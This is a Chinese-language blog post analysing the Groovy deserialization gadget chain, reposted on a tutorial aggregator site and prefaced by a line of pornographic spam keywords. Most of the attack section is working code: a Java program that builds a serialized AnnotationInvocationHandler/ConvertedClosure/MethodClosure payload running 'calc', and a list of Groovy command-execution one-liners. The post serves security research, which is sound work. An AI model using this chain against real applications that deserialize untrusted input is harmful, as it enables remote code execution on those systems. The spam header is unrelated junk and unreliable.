国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Groovy反序列化鏈分析

這篇具有很好參考價(jià)值的文章主要介紹了Groovy反序列化鏈分析。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

前言

Groovy 是一種基于 JVM 的開(kāi)發(fā)語(yǔ)言,具有類(lèi)似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平臺(tái)的編程語(yǔ)言,也可以用作腳本語(yǔ)言。groovy 編譯之后生成 .class 文件,與 Java 編譯生成的無(wú)異,因此可以在 JVM 上運(yùn)行。
在項(xiàng)目中可以引用 Groovy 的相關(guān)包依賴(lài),分為核心包和模塊包,如果想依賴(lài)全部包,可以使用 groovy-all

環(huán)境搭建

<dependency>
	<groupId>org.codehaus.groovy</groupId>
	<artifactId>groovy-all</artifactId>
	<version>2.4.3</version>
</dependency>

Groovy命令執(zhí)行

MethodClosure

package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class methodClosure {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
        m.setAccessible(true);
        m.invoke(mc, "calc");
    }
}

很樸素,一眼看出漏洞點(diǎn)在doCall方法,調(diào)試一波
Groovy反序列化鏈分析
invokeMethod顧名思義就是執(zhí)行方法的,調(diào)試進(jìn)去看也確實(shí)如此,看getOwner是獲取到this.owner,看構(gòu)造方法,owner是一個(gè)對(duì)象
Groovy反序列化鏈分析
owner我們是設(shè)置了的,owner就是我們傳入的Runtime對(duì)象,method同理可控,這樣就實(shí)現(xiàn)了任意類(lèi)方法調(diào)用
Groovy反序列化鏈分析

String.execute()

Groovy為String對(duì)象封裝了一個(gè)execute方法用來(lái)動(dòng)態(tài)執(zhí)行命令,這個(gè)方法會(huì)返回一個(gè) Process 對(duì)象。也就是說(shuō),在 Groovy 中,可以直接使用 "ls".execute() 這種方法來(lái)執(zhí)行系統(tǒng)命令ls
注意這里,創(chuàng)建一個(gè)Groovy類(lèi)文件,不是創(chuàng)建java類(lèi)文件了

package org.example

class stringExecute {
    static void main(String[] args){
        println("calc".execute().text);
    }
}
// 直接命令執(zhí)行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回顯型命令執(zhí)行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure

ConvertedCloure實(shí)際上是一個(gè)動(dòng)態(tài)代理類(lèi),它繼承了ConversionHandler
Groovy反序列化鏈分析
ConversionHandler又繼承了InvocationHandler
Groovy反序列化鏈分析
因此該類(lèi)是一個(gè)動(dòng)態(tài)代理,然后注意invokeCustom,這個(gè)和InvocationHandlerinvoke是一個(gè)意思,代理的具體邏輯。如果初始化時(shí)指定的methodinvokeCustom指定的method參數(shù)相同,則invokeCustom方法將會(huì)調(diào)用代理對(duì)象 Closurecall方法執(zhí)行傳入?yún)?shù)執(zhí)行

Groovy反序列化構(gòu)造

說(shuō)到動(dòng)態(tài)代理就得想到CC1

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;

public class convertedClosure {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //封裝我們需要執(zhí)行的對(duì)象
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 創(chuàng)建 ConvertedClosure 的動(dòng)態(tài)代理類(lèi)實(shí)例
        Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

        // 使用動(dòng)態(tài)代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
            outputStream.writeObject(invocationHandler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
            inputStream.readObject();
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

調(diào)用鏈

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
		        MethodClosure.call()
                    ProcessGroovyMethods.execute()

流程分析

調(diào)用entrySet
Groovy反序列化鏈分析
觸發(fā)invoke,this是ConvertedClosure它繼承了ConversionHandler,所以是走進(jìn)父類(lèi)里面的方法,在這里面進(jìn)而觸發(fā)invokeCustom
Groovy反序列化鏈分析
最后調(diào)用call方法rce
Groovy反序列化鏈分析Groovy反序列化鏈分析文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-850181.html

到了這里,關(guān)于Groovy反序列化鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Hessian反序列化分析

    Hessian反序列化分析

    RPC全稱(chēng)為 Remote Procedure Call Protocol (遠(yuǎn)程調(diào)用協(xié)議),RPC和之前學(xué)的RMI十分類(lèi)似,都是遠(yuǎn)程調(diào)用服務(wù),它們不同之處就是RPC是通過(guò)標(biāo)準(zhǔn)的二進(jìn)制格式來(lái)定義請(qǐng)求的信息,這樣跨平臺(tái)和系統(tǒng)就更加方便 RPC協(xié)議的一次遠(yuǎn)程通信過(guò)程如下: 客戶(hù)端發(fā)起請(qǐng)求,并按照RPC協(xié)議格式填充信

    2024年04月11日
    瀏覽(21)
  • RMI反序列化分析

    RMI反序列化分析

    RMI全程Remote Method Invocation (遠(yuǎn)程方法引用),RMI有客戶(hù)端和服務(wù)端,還有一個(gè)注冊(cè)中心,在java中客戶(hù)端可以通過(guò)RMI調(diào)用服務(wù)端的方法,流程圖如下: 服務(wù)端創(chuàng)建RMI后會(huì)在RMI Registry(注冊(cè)中心)注冊(cè),之后客戶(hù)端都是從注冊(cè)中心調(diào)用方法,RMI分為三個(gè)主體部分: Client-客戶(hù)端

    2024年03月26日
    瀏覽(38)
  • JDBC反序列化分析

    JDBC反序列化分析

    找兩個(gè)序列化后的bin文件,進(jìn)行對(duì)比,可以發(fā)現(xiàn)前兩個(gè)字節(jié)是固定的 AC , ED ,變十進(jìn)制就是 -84 , -19 記住這兩個(gè)數(shù),后面分析的時(shí)候會(huì)用到 觸發(fā)點(diǎn)在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在觸發(fā)readObject之前還對(duì)data的前兩個(gè)字節(jié)進(jìn)行了比較來(lái)判斷是不是序列化對(duì)象,

    2024年04月08日
    瀏覽(22)
  • Shiro反序列化分析

    Shiro反序列化分析

    Shiro,一個(gè)流行的web框架,養(yǎng)活了一大批web狗,現(xiàn)在來(lái)對(duì)它分析分析。Shiro的gadget是CB鏈,其實(shí)是CC4改過(guò)來(lái)的,因?yàn)镾hiro框架是自帶 Commoncollections 的,除此之外還帶了一個(gè)包叫做 CommonBeanUtils ,主要利用類(lèi)就在這個(gè)包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 編輯shiro/s

    2024年03月24日
    瀏覽(23)
  • SnakeYaml反序列化分析

    SnakeYaml反序列化分析

    SnakeYaml是Java中解析yaml的庫(kù),而yaml是一種人類(lèi)可讀的數(shù)據(jù)序列化語(yǔ)言,通常用于編寫(xiě)配置文件等。yaml真是到哪都有啊。 SPI機(jī)制就是,服務(wù)端提供接口類(lèi)和尋找服務(wù)的功能,客戶(hù)端用戶(hù)這邊根據(jù)服務(wù)端提供的接口類(lèi)來(lái)定義具體的實(shí)現(xiàn)類(lèi),然后服務(wù)端會(huì)在加載該實(shí)現(xiàn)類(lèi)的時(shí)候去

    2024年04月22日
    瀏覽(33)
  • FastJson反序列化分析

    FastJson反序列化分析

    前言:網(wǎng)上關(guān)于FastJson的分析文章一大片,本文只是筆者在實(shí)踐操作中理解的一些東西,不算特別詳細(xì),留作日后復(fù)習(xí),歡迎一起交流 什么是FastJson? Fastjson是一個(gè)由阿里巴巴維護(hù)的一個(gè)json庫(kù)。它采用一種“假定有序快速匹配”的算法,是號(hào)稱(chēng)Java中最快的json庫(kù)。 先來(lái)看看一

    2024年02月06日
    瀏覽(47)
  • Rome反序列化鏈分析

    Rome反序列化鏈分析

    先看看調(diào)用棧: 先給出poc,然后一步步調(diào)試分析 在readObject處打個(gè)斷點(diǎn)開(kāi)始調(diào)試 進(jìn)入HashMap的readObject 跟進(jìn)hash方法 跟進(jìn)hashCode方法 來(lái)到ObjectBean的hashCode方法, _equalsBean 是EqualsBean的實(shí)例對(duì)象,跟進(jìn)它的beanHashCode方法 _obj 是ToStringBean的實(shí)例對(duì)象,跟進(jìn)它的toString方法 進(jìn)入另一個(gè)

    2024年04月09日
    瀏覽(48)
  • Kryo反序列化鏈分析

    Kryo反序列化鏈分析

    Kryo是一個(gè)快速序列化/反序列化工具,依賴(lài)于字節(jié)碼生成機(jī)制(底層使用了ASM庫(kù)),因此在序列化速度上有一定的優(yōu)勢(shì),但正因如此,其使用也只能限制在基于JVM的語(yǔ)言上。 Kryo序列化出的結(jié)果,是其自定義的,獨(dú)有的一種格式。由于其序列化出的結(jié)果是二進(jìn)制的,也即byte[],因

    2024年04月14日
    瀏覽(49)
  • Resin反序列化鏈分析

    Resin反序列化鏈分析

    Resin是一個(gè)輕量級(jí)的、高性能的開(kāi)源Java應(yīng)用服務(wù)器。它是由Caucho Technology開(kāi)發(fā)的,旨在提供可靠的Web應(yīng)用程序和服務(wù)的運(yùn)行環(huán)境。和Tomcat一樣是個(gè)服務(wù)器,它和hessian在一個(gè)group里,所以有一定的聯(lián)系 因?yàn)槭荍DNI,所以還是得注意下jdk版本,這里用jdk8u65 之前研究過(guò)Hessian反序列化

    2024年04月24日
    瀏覽(22)
  • Spring反序列化JNDI分析

    Spring反序列化JNDI分析

    Spring框架的 JtaTransactionManager 類(lèi)中重寫(xiě)了 readObject 方法,這個(gè)方法最終會(huì)調(diào)用到JNDI中的 lookup() 方法,關(guān)鍵是里面的參數(shù)可控,這就導(dǎo)致了攻擊者可以利用JNDI注入中的lookup()參數(shù)注入,傳入惡意URI地址指向攻擊者的RMI注冊(cè)表服務(wù),以使受害者客戶(hù)端加載綁定在攻擊者RMI注冊(cè)表服

    2024年04月08日
    瀏覽(16)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包